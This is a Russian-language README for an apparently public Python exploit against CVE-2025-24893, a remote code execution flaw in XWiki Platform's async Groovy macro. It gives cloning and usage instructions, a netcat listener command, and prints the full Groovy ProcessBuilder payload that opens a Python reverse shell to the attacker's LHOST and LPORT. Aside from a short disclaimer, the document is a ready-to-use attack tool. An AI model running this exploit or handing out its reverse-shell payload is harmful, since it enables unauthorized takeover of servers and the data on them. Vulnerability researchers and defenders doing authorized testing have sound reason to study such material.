CVE-2025-24893 XWiki RCE Exploit

Простой скрипт на Python3 для эксплуатации CVE-2025-24893 — уязвимости удалённого выполнения кода в XWiki Platform, использующей асинхронный макрос на основе Groovy и настраиваемый payload для обратной оболочки.

⚠️ ВНИМАНИЕ: Этот инструмент предоставляется только для образовательных целей и авторизованного тестирования. Несанкционированное использование против систем, которыми вы не владеете или на тестирование которых у вас нет явного разрешения, незаконно и неэтично.

Содержание

• Возможности
• Требования
• Установка
• Использование
• Определение протокола и запасной вариант
• Payload обратной оболочки
• Лицензия
• Отказ от ответственности

Возможности

• ✅ Автоматически определяет, поддерживает ли цель HTTPS или HTTP
• ✅ Формирует Groovy-фрагмент ProcessBuilder для обхода особенностей Runtime.exec
• ✅ URL-кодирует payload XWiki async+groovy макроса
• ✅ Настраиваемая обратная оболочка (хост + порт)
• ✅ Выводит код HTTP-ответа для проверки доставки

Требования

• Python 3.6 или выше
• Библиотека requests

pip install requests

Установка

Клонируйте этот репозиторий:

git clone https://github.com/hackersonsteroids/cve-2025-24893.git
cd cve-2025-24893

Использование

./exploit.py <TARGET_DOMAIN> <LHOST> <LPORT>

• <TARGET_DOMAIN> Хост XWiki (например, wiki.example.local).

• <LHOST> IP вашей атакующей машины (где запущен ваш слушатель).

• <LPORT> Порт вашего слушателя (целое число).

Пример

1. Запустите слушатель на вашей машине:

nc -lvnp 4444

2. Запустите эксплойт:

./exploit.py wiki.vulnerable.local 10.0.0.5 4444

3. В случае успеха проверьте ваш netcat-слушатель на наличие оболочки.

Определение протокола и запасной вариант

Перед отправкой payload скрипт:

1. Пробует https://<TARGET_DOMAIN>
2. Если HTTPS не работает, переключается на http://<TARGET_DOMAIN>
3. Завершает работу, если ни один из протоколов недоступен

Это помогает обеспечить совместимость с развёртываниями, использующими смешанные протоколы.

Payload обратной оболочки

По умолчанию скрипт использует однострочник на Python3:

new ProcessBuilder(
  ['/bin/bash','-c',
   'python3 -c \'import socket,subprocess,os;'
   's=socket.socket();s.connect(("LHOST",LPORT));'
   'os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);'
   'os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])\'']
).redirectErrorStream(true).start()

• Вы можете изменить функцию build_payload(), если вам нужна другая оболочка (например, Bash, Perl, PHP и т. д.).

Лицензия

Этот проект лицензирован в соответствии с лицензией MIT. Подробности см. в файле LICENSE.

Отказ от ответственности

Этот инструмент предназначен только для авторизованной оценки безопасности и образовательных целей. Авторы не несут ответственности за неправомерное использование. Всегда получайте явное разрешение перед тестированием любых целевых систем.